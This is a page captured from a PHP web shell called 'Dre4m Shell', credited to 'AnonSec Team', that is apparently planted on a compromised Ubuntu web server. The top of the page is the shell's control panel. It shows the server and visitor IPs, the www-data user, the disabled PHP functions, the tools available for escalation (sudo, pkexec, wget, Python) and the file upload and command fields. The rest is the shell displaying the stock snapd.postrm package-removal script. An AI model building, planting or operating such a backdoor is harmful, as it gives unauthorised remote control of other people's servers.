Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.117.151.179
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/lib/dpkg/info/snapd.postrm
#!/bin/sh

set -e

# "powerpc" is not supported unfortunately, do nothing here# 
if [ "$DPKG_MAINTSCRIPT_ARCH" = powerpc ]; then
    exit 0
fi

systemctl_stop() {
    unit="$1"

    echo "Stopping unit $unit"
    systemctl stop -q "$unit" || true

    for i in $(seq 20); do
        echo "Waiting until unit $unit is stopped [attempt $i]"
        if ! systemctl is-active -q "$unit"; then
            echo "$unit is stopped."
            return
        fi
        sleep .1
    done
}

if [ "$1" = "purge" ]; then
    # Undo any bind mounts to /snap and /var/snap that resulted from parallel
    # installs for classic snaps or LP:#1668659 (for /snap only, that bug can't
    # happen in trusty -- and doing this would mess up snap.mount.service there)
    for mp in /snap /var/snap; do
        if grep -q " $mp $mp" /proc/self/mountinfo; then
            umount -l "$mp" || true
        fi
    done

    units=$(systemctl list-unit-files --full | grep '^snap[-.]' | cut -f1 -d ' ' | grep -vF snap.mount.service || true)
    mounts=$(echo "$units" | grep '^snap[-.].*\.mount$' || true)
    services=$(echo "$units" | grep '^snap[-.].*\.service$' || true)

    for unit in $services $mounts; do
        # ensure its really a snap mount unit or systemd unit
        if ! grep -q 'What=/var/lib/snapd/snaps/' "/etc/systemd/system/$unit" && ! grep -q 'X-Snappy=yes' "/etc/systemd/system/$unit"; then
            echo "Skipping non-snapd systemd unit $unit"
            continue
        fi

        echo "Stopping $unit"
        systemctl_stop "$unit"

        # if it is a mount unit, we can find the snap name in the mount
        # unit (we just ignore unit files)
        snap=$(grep 'Where=/snap/' "/etc/systemd/system/$unit"|cut -f3 -d/)
        rev=$(grep 'Where=/snap/' "/etc/systemd/system/$unit"|cut -f4 -d/)
        if [ -n "$snap" ]; then
            echo "Removing snap $snap and revision $rev"
            # aliases
            if [ -d /snap/bin ]; then
                find /snap/bin -maxdepth 1 -lname "$snap" -delete
                find /snap/bin -maxdepth 1 -lname "$snap.*" -delete
            fi
            # generated binaries
            rm -f "/snap/bin/$snap"
            rm -f "/snap/bin/$snap".*
            # snap mount dir
            # we pass -d (clean up loopback devices) for trusty compatibility
            umount -d -l "/snap/$snap/$rev" 2> /dev/null || true
            rm -rf "/snap/$snap/$rev"
            rm -f "/snap/$snap/current"
            # snap data dir
            rm -rf "/var/snap/$snap/$rev"
            rm -rf "/var/snap/$snap/common"
            rm -f "/var/snap/$snap/current"
            # opportunistic remove (may fail if there are still revisions left
            for d in "/snap/$snap" "/var/snap/$snap"; do
                if [ -d "$d" ]; then
                    rmdir --ignore-fail-on-non-empty "$d" || true
                fi
            done
            # udev rules
            find /etc/udev/rules.d -name "*-snap.${snap}.rules" -execdir rm -f "{}" \;
            # dbus policy files
            if [ -d /etc/dbus-1/system.d ]; then
                find /etc/dbus-1/system.d -name "snap.${snap}.*.conf" -execdir rm -f "{}" \;
            fi
            # modules
            rm -f "/etc/modules-load.d/snap.${snap}.conf"
            # timer and socket units
            find /etc/systemd/system -name "snap.${snap}.*.timer" -o -name "snap.${snap}.*.socket" | while read -r f; do
                systemctl_stop "$(basename "$f")"
                rm -f "$f"
            done
            # user services, sockets, and timers - we make no attempt to stop any of them.
            # TODO: ask snapd to ask each snapd.session-agent.service to stop snaps
            # user-session services and stop itself.
            find /etc/systemd/user -name "snap.${snap}.*.timer" -o -name "snap.${snap}.*.socket" -o -name "snap.${snap}.*.service" | while read -r f; do
                rm -f "$f"
            done
        fi

        echo "Removing $unit"
        rm -f "/etc/systemd/system/$unit"
        rm -f "/etc/systemd/system/multi-user.target.wants/$unit"
    done

    # snapd session-agent
    rm -f /etc/systemd/user/snapd.session-agent.socket
    rm -f /etc/systemd/user/snapd.session-agent.service
    rm -f /etc/systemd/user/sockets.target.wants/snapd.session-agent.socket

    # dbus activation configuration
    rm -f /etc/dbus-1/session.d/snapd.session-services.conf
    rm -f /etc/dbus-1/system.d/snapd.system-services.conf

    # generated readme files
    rm -f "/snap/README"

    echo "Final directory cleanup"
    for d in "/snap/bin" "/snap" "/var/snap"; do
        # Force remove due to directories for old revisions could still exist
        rm -rf "$d"
        if [ -d "$d" ]; then
            echo "Cannot remove directory $d"
        fi
    done

    echo "Discarding preserved snap namespaces"
    # opportunistic as those might not be actually mounted
    if [ -d /run/snapd/ns ]; then
        if [ "$(find /run/snapd/ns/ -name "*.mnt" | wc -l)" -gt 0 ]; then
            for mnt in /run/snapd/ns/*.mnt; do
                umount -l "$mnt" || true
                rm -f "$mnt"
            done
        fi
        find /run/snapd/ns/ \( -name '*.fstab' -o -name '*.user-fstab' -o -name '*.info' \) -delete
        umount -l /run/snapd/ns/ || true
    fi

    # inside containers we have a generator that creates a bind mount to /snap
    if [ -e /run/systemd/container ]; then
        echo "Unmount /snap inside a container"
        umount /snap || true
    fi

    echo "Removing extra snap-confine apparmor rules"
    rm -f /etc/apparmor.d/snap.core.*.usr.lib.snapd.snap-confine

    echo "Removing snapd cache"
    rm -rf /var/cache/snapd/*

    echo "Removing snapd state"
    rm -rf /var/lib/snapd
fi

# Automatically added by dh_installdeb
dpkg-maintscript-helper rm_conffile /etc/apparmor.d/usr.lib.snapd.snap-confine 2.23.6~ -- "$@"
# End automatically added section
# Automatically added by dh_installdeb
dpkg-maintscript-helper rm_conffile /etc/ld.so.conf.d/snappy.conf 2.0.7~ -- "$@"
# End automatically added section
# Automatically added by dh_installdeb
dpkg-maintscript-helper rm_conffile /etc/grub.d/09_snappy 1.7.3ubuntu1 -- "$@"
# End automatically added section
# Automatically added by dh_systemd_start
if [ -d /run/systemd/system ]; then
	systemctl --system daemon-reload >/dev/null || true
fi
# End automatically added section
# Automatically added by dh_systemd_enable
if [ "$1" = "remove" ]; then
	if [ -x "/usr/bin/deb-systemd-helper" ]; then
		deb-systemd-helper mask snapd.apparmor.service snapd.autoimport.service snapd.core-fixup.service snapd.recovery-chooser-trigger.service snapd.seeded.service snapd.service snapd.snap-repair.timer snapd.socket snapd.system-shutdown.service >/dev/null
	fi
fi

if [ "$1" = "purge" ]; then
	if [ -x "/usr/bin/deb-systemd-helper" ]; then
		deb-systemd-helper purge snapd.apparmor.service snapd.autoimport.service snapd.core-fixup.service snapd.recovery-chooser-trigger.service snapd.seeded.service snapd.service snapd.snap-repair.timer snapd.socket snapd.system-shutdown.service >/dev/null
		deb-systemd-helper unmask snapd.apparmor.service snapd.autoimport.service snapd.core-fixup.service snapd.recovery-chooser-trigger.service snapd.seeded.service snapd.service snapd.snap-repair.timer snapd.socket snapd.system-shutdown.service >/dev/null
	fi
fi
# End automatically added section
# Automatically added by dh_apparmor
if [ "$1" = "purge" ] && ! [ -e "/etc/apparmor.d/usr.lib.snapd.snap-confine.real" ] ; then
    rm -f "/etc/apparmor.d/disable/usr.lib.snapd.snap-confine.real" || true
    rm -f "/etc/apparmor.d/force-complain/usr.lib.snapd.snap-confine.real" || true
    rm -f "/etc/apparmor.d/local/usr.lib.snapd.snap-confine.real" || true
    rmdir /etc/apparmor.d/disable 2>/dev/null || true
    rmdir /etc/apparmor.d/local   2>/dev/null || true
    rmdir /etc/apparmor.d         2>/dev/null || true
fi
# End automatically added section


Anon7 - 2022
AnonSec Team